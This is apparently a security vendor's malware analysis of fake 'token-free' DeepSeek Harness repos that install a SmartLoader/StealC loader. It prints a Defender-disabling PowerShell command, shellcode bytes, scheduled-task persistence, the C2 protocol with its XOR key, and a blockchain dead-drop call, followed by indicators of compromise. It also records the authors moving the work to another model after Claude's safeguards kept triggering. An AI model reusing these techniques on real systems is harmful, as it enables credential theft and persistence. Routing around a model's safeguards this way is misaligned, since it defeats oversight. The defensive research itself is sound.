Research
The “token-free” DeepSeek Harness app is a malware loader

While mapping the DeepSeek Harness plugin ecosystem (13,500+ repos), we found GitHub repos offering a free DeepSeek Harness desktop app that promises to remove the cost of paid API tokens.
What they actually deliver is a Windows malware loader.
We reverse engineered the loader and tied it to TroyDen's SmartLoader StealC operation, which has spent the past year moving through the AI tooling world. To our knowledge, this is the first reported campaign targeting DeepSeek Harness users.
Along the way we uncovered a previously unreported C2 (command-and-control) server, the loader's encryption key, and its full C2 protocol.
At the time of writing, one of the repos is still live and serving the exact sample we analyzed.
DeepSeek Harness (dsh) landed in August 2026 and passed 200,000 GitHub stars in less than 4 weeks.
The harness itself is bare. Almost every feature comes as a plugin you install on top. So a plugin ecosystem grew around it, fast.
We wanted to know which plugins people actually install, and whether any of them are malicious.
We found 13,562 repos tagged dsh-plugin (about 98% of the topic at the time), cloned them and scanned more than 12,600 without running them, leaving out the other ~930 as they were very large. We hunted for malicious install hooks, credential theft, exfiltration endpoints, obfuscated code, key-stealing "provider" plugins and namesquats, among other things.
The plugins themselves were overwhelmingly clean. Almost every loose thread or uncanny behavior turned out to be benign.
- Djokovical5294/DeepSeek-Harness-Token-Free
- unswept-matchstick7542/DeepSeek-Harness-Token-Free
Both had close to zero stars, so we didn't expect many victims. We dug in anyway.
The first thing we discovered is that the malicious repositories' name, DeepSeek-Harness-Token-Free, isn't random.
hyqibot/DeepSeek-Harness-Token-Free is a real, legitimate project: a "token-free" desktop client for DSH (DeepSeek Harness).
The fake repos copied its name, its topics and even its CI commit messages (chore: sync public source from private repo), but swapped the app for something else.
The README is a work of art. It promises a 400-600 MB AI studio and delivers a 487 KB ZIP. It tells you to launch "DSH.exe", which doesn't exist. It even includes a section titled "How to Installandle Run".
From the repo's README:
Our favorite line in the README is "A black or blue window may appear briefly. This is normal. Let it work."
The repositories instruct the user to download a ZIP file. Each ZIP contains the same three files (names differ across repositories):
- Application.cmd / .bat: the launcher, which contains one line:
start util.exe cert.txt - util.exe / zen.exe: the app, which is actually a renamed LuaJIT interpreter (a legit program that runs Lua scripts)
- cert.txt / key.txt: a text file which contains heavily obfuscated Lua: the actual malware
In practice, this means the so-called "desktop app" is simply a scripting runtime pointed at a script pretending to be a certificate.
Anyone who follows commodity malware will recognize this kit: it's SmartLoader, and it has a long history on GitHub.
Trend Micro and Gatewatcher documented it in 2025 behind fake game cheats and cracked software.
Since then researchers have tracked the same operator, TroyDen, as the lures drifted toward AI tooling: a fake AI pentest/MCP tool (UltraViolet Cyber), a trojanized MCP server (Straiker), OpenClaw deployers (Netskope), fake Claude tools (Netskope), and fake agent skills by the thousands (Island via BleepingComputer).
DeepSeek Harness is the newest storefront.
So, how did we reverse engineer the malware, and identify it as part of the StealC operation?
We ran Claude (Opus 4.8) as an overseer model, but because the malware patterns kept triggering safeguards, we had it oversee DeepSeek V4 Pro 0813, which ran in an isolated container with Ghidra, Python, a patched LuaJIT build, qemu, and other tools installed. Its only network access was to the model provider's API (OpenRouter).
Even inside the container, the malware itself was run without network access at all by wrapping it with the bwrap --unshare-net command.
In order to identify the malware's behavior, and avoid actually triggering it, we replaced every function the malware could use to touch the world (Windows API calls through LuaJIT's FFI, file I/O, process execution, load, network) with a stub that records the call and returns a fake answer.
Then we let the obfuscated Lua run its own unpacking routine and watched what it tried to do.
With that, we matched it to a known, active campaign (details below).
When the loader runs, it calls GetConsoleWindow() and then ShowWindow(hwnd, SW_HIDE).
That's the "black or blue window" from the README. It isn't the app loading. It's the malware hiding its console, right after the README told you it was "normal behavior". Telling the victim the warning sign is normal is the oldest trick there is.
Once running, it allocates 7 bytes of read-write-execute memory and writes this into it:
64 a1 30 00 00 00 mov eax, fs:[0x30] ; read the Process Environment Block
c3 retThen it calls it. In plain terms: those 7 bytes ask Windows where this process keeps its list of loaded system libraries (the PEB). With that list, the malware can find and call Windows functions without naming them up front, so scanners have less to flag. Our sandbox blocked the call at this point, and both samples produced byte-identical gadgets.
From there we stopped running it and read the code instead. We fully decoded both samples' string pools (952 and 987 strings), deobfuscated the control flow and reconstructed the loader's logic.
This is how the loader behaves, as recovered from the decoded code.
It takes a screenshot of your desktop (BitBlt) and fingerprints the machine (Windows version, architecture, admin status, computer name, username and the MachineGuid from the registry).
Then it geolocates you through ip-api.com and checks connectivity against microsoft.com.
It attempts to blind Windows Defender by executing a PowerShell command:
Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -ForceThat excludes your entire system drive from Windows Defender scanning. The config flag within the malware that controls this is called, helpfully, bypass_defender.
And finally, it creates persistence. It creates a daily scheduled task (schtasks /create /sc daily…) named after one of these legitimate-sounding tasks: OfficeClickToRunTask, AdobeGCInvoker, OneDriveStandaloneUpdater or CCleanerSkipUAC.
Once everything is set up, the loader registers with its C2 and polls for tasks.
Each task tells it what to download and how to run it: an .exe, a .dll (via LoadLibrary or rundll32), a PowerShell script, a batch file or more Lua. The task schema includes fields like hide, autorun, persistence and relaunch.
This behavior makes the machine a bot that runs whatever the operator sends. In this campaign, the payload has always been the StealC infostealer (browser passwords and cookies, crypto wallets, Discord/Telegram/Steam sessions), as documented by Hexastrike, Netskope and others.
Every infected machine needs a way to phone home. The "number" it calls is the attacker's command-and-control server, a "C2" in security speak. It's where the malware reports what it found and asks what to do next.
Each sample we analyzed had a hard-coded C2 IP communicating over plain HTTP.
We saw 217.119.129.122 (already known to Netskope and ThreatFox), and 217.119.129.83 (not previously reported at the time, as far as we can tell). Both sit in the same /24 subnet the operator has used since at least March.
The traffic is lightly disguised. The loader builds a query string like:
loaderId=<per-build id>&guid=<MachineGuid>&computer=<host>&user=<user>&country=..&city=..&timezone=..&os=..It XORs that string with a 32-byte repeating key, hex-encodes the result, base64url-encodes it, and POSTs it to /api/<id> as multipart form data along with the desktop screenshot. Task results go back to /task/<id>.
The XOR key is identical in both the builds we saw, and as far as we can find, hasn't been published before:
ECe6VGLRJum2qYtl79OiOU7aHot7ZhbnWe are sharing it so defenders who capture this traffic can decrypt it.
The problem with hardcoded IP addresses is that they are easy to identify and block. Once the C2 IP address is blocked, the malware is stuck and has no way to phone home.
To get around this, some attackers, including this one, turn to blockchains.
A blockchain is basically a public notebook that thousands of computers around the world each keep an identical copy of. Anyone can read it, new entries can be added, but nothing can be erased, and since there's no single copy, there's nothing to seize or shut down.
There are many of these notebooks out there (Bitcoin and Ethereum are the famous ones). In our case, the loader used Polygon, which is just another of them.
Some entries in these notebooks aren't just text. They're small programs called smart contracts, which can store a piece of data and hand it to anyone who asks. Only the contract's owner can change that data.
For an attacker, that's the perfect forwarding address: always online, readable from anywhere, and impossible to take down.
So, if the hardcoded C2 doesn't answer, the loader moves on to plan B. It makes an eth_call (asking the contract "what's your current data?") to a smart contract on the Polygon blockchain:
{"jsonrpc":"2.0","method":"eth_call",
"params":[{"to":"0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc","data":"0x3bc5de30"},"latest"],"id":1}0x3bc5de30 is getData().
The contract returns the current C2 address. If the operator loses a server, they update the contract and every infected machine follows to the new IP.
To get there the loader walks a fallback list of five public Polygon RPC providers (drpc, publicnode, tatum, nodies, quiknode).
This technique is called EtherHiding, and it's the reason these campaigns are so hard to kill: you can take down a server, but you can't take down a blockchain record. This specific contract was already documented by Hexastrike and Netskope. The contract, the known /24 and the toolkit together are how we tied our samples to TroyDen with high confidence.
There's a community-run DSH (DeepSeek Harness) plugin registry (not affiliated with DeepSeek as far as we can tell), and someone created a bot that automatically discovers new repos to list on it.
That bot found the malicious Djokovical5294/DeepSeek-Harness-Token-Free and opened a GitHub issue to add it to the registry. Three times: on August 31, September 28 and October 12, 2026.
At the time of writing, all three are still open. Nobody merged them, but nobody flagged them either.
- Djokovical5294/DeepSeek-Harness-Token-Free: the account no longer exists.
- unswept-matchstick7542/DeepSeek-Harness-Token-Free: still live. We checked the git object hashes, and it's still serving the exact sample we analyzed in September. We've reported it to GitHub and are awaiting a response.
Fake repos and poisoned packages aren't new. What's new is the speed.
It used to be that if you were a Node shop, you worried about npm, maybe PyPI too.
Today, a brand-new AI agent can launch in August, have 200,000 stars and 13,500 plugins within weeks, and be running with full access on your developers' machines before your security team has even heard its name.
And DeepSeek Harness isn't the only one. MCP servers, agent skills, Claude Code plugins, OpenClaw, IDE extensions: every few months there's a new ecosystem, and every one of them is code that runs on the machines holding your organization's most sensitive access.
No team can keep up with all of them by hand. The first step is knowing which AI tools are actually running in your organization, and where they came from. The second is deciding what's allowed, and enforcing it.
That's the work Vero does: it finds the AI tools and plugins running across your company, shows where they came from, and enforces what's allowed.
Want to see it on your own environment? Book a demo.
| File | SHA-256 |
|---|---|
| Free-Token-Harness-Deep-Seek-v2.2.zip | 9015f861647df3c48c1418aba94c3a4c47539e373b1d3bbc0d4b15979f980c76 |
| Application.cmd | 7c4f3e09c6428d0a0d7d85615695f5fedb35bb4e7180d31e1f8a1bacf22e5639 |
| util.exe (renamed LuaJIT) | e227d47facf0e2f5b9e5c54a23a86b31272696b64bbbb9932a31fe06973677bd |
| cert.txt (loader) | a75561a3224d9f836058a6d0204ed2e6c1f638275a59495935cd2a5e46fd28ca |
| Harness-Deep-Token-Free-Seek-Phecda.zip | 48c106c335f0271b21f93c82da075b109e3b4287dba57559c5c80c32bbe385c3 |
| Application.bat | f4b650190b3f58c234df08e505bd956565105f647101c3c7c84f80563840187b |
| zen.exe (renamed LuaJIT) | c434ce8620057d9dd9073b4af8382bf27e85729d152164909f1052775e7ddc70 |
| key.txt (loader) | b56bbedccf2ba6b38ca96eeb5f12541fdded9a148579194f748fc3d5c86b33d4 |
| Type | Value | Note |
|---|---|---|
| C2 IP | 217.119.129.83 | New, key.txt build |
| C2 IP | 217.119.129.122 | Previously reported (Netskope, ThreatFox) |
| Dead-drop contract (Polygon) | 0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc | Method getData() / 0x3bc5de30 |
| C2 path | /api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y= | |
| C2 path | /task/NTE3YjdjNWU1NjYzNjU2YTA1N2Y= | |
| Multipart boundary | prnuu5hm5lg1zbvgh1usyeuaxgyfltasam | key.txt build |
| User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 | |
| XOR key | ECe6VGLRJum2qYtl79OiOU7aHot7Zhbn | Decrypts the C2 data field |
Host:
- Defender exclusion on the whole system drive (
Get-MpPreference→ExclusionPath=C:\) - Scheduled tasks named
OfficeClickToRunTask,AdobeGCInvoker,OneDriveStandaloneUpdaterorCCleanerSkipUAC(or<name>_<random>) that runrundll32or files from Temp/AppData


